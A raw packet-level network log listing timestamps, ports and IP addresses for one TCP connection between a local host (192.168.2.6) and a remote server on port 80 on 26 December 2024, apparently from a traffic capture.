Dec 26, 2024 12:52:15.150929928 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.150970936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.151726007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.151776075 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.151834965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.152622938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.152667046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.152714014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.152831078 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.153388023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.153585911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.153669119 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.154237986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.154349089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.154531956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.155087948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.155199051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.155452013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.155924082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.155978918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.156024933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.156810045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.156934977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.157110929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.157644033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.157893896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.157968998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.158498049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.158530951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.158571005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.159348965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.159461021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.159502983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.160213947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.229258060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.326921940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.326940060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.327002048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.327197075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.327280045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.327341080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.328043938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.328144073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.328802109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.328866959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.329133987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.329751968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.329813957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.329835892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.330573082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.330621958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.330653906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.331453085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.331470013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.331571102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.331779957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.332331896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.332493067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.332534075 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.333220005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.333250046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.333302021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.333991051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.334108114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.334459066 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.334865093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.334958076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.335211039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.335710049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.335814953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.335985899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.336604118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.336811066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.336854935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.337558985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.337676048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.337810993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.338505030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.338653088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.338702917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.339462042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.339519024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.339561939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.340419054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.340481043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.340720892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.341346025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.341602087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.341960907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.341993093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.342025042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.342262030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.342890978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.343055010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.343106985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.343777895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.343894005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.344111919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.345108986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.345143080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.345179081 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.345304012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.345385075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.345421076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.346283913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.346517086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.346569061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.346929073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.347048998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.347120047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.347907066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.347987890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.348026991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.348530054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.348669052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.348709106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.349385977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.349541903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.349586010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.350202084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.350279093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.350543022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.351041079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.351123095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.351165056 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.351927042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.352052927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.352157116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.352765083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.352875948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.353029966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.353595972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.353753090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.353950977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.354448080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.354512930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.354552984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.355305910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.355411053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.355458021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.356161118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.356323957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.356425047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.357065916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.357140064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.357208014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.357868910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.357992887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.358212948 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.358767033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.358882904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.358927011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.359563112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.359687090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.359726906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.360425949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.360611916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.360656977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.361273050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.361392975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.361485958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.362133026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.362230062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.362447977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.362963915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.363087893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.363235950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.363835096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.364069939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.364197969 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.364676952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.364798069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.365035057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.365525007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.365629911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.365670919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.366384983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.366449118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.366648912 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.367259026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.367454052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.367539883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.368112087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.368226051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.368396997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.368925095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.369041920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.369276047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.369792938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.369901896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.369951010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.370623112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.370795965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.370882034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.371489048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.418495893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.541290045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.541323900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.541429996 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.541703939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.541852951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.541896105 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.542536020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.542645931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.542697906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.543433905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.543509960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.543549061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.544255972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.544312000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.544356108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.545094013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.545212030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.545249939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.545988083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.546091080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.546175957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.546833992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.546931028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.546967983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.547693968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.547862053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.548012018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.548538923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.548628092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.548669100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.549441099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.549455881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.549506903 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.550255060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.550395012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.550623894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.551080942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.551178932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.551320076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.551915884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.552047968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.552330971 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.552778959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.552952051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.552999973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.553634882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.553750992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.553793907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.554506063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.554590940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.554776907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.555377007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.555437088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.555480957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.556265116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.556318998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.556355000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.557037115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.557163954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.557213068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.557986975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.558048964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.558099031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.558725119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.558835983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.558948994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.559647083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.559753895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.559865952 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.560456038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.560569048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.560683012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.561335087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.561465025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.561502934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.562182903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.562309027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.562350035 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.563014030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.563138962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.563277006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.563911915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.564038038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.564126015 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.564717054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.564852953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.564893007 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.565594912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.565702915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.566514969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.566536903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.566564083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.566593885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.567286015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.567488909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.567537069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.568222046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.568312883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.568361998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.569042921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.569222927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.569978952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.569991112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.570029974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.570060968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.570730925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.570827961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.571584940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.571635962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.571680069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.572201014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.572406054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.572501898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.572598934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.573414087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.573534966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.573779106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.574139118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.574392080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.574450016 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.574995041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.575120926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.575161934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.575855017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.575994968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.576208115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.576792002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.576884985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.576921940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.577621937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.577703953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.577966928 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.578440905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.578527927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.578767061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.579308987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.579431057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.579526901 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.580192089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.580271006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.580418110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.581017017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.581058025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.581140041 CET	49842	80	192.168.2.6	185.215.113.16
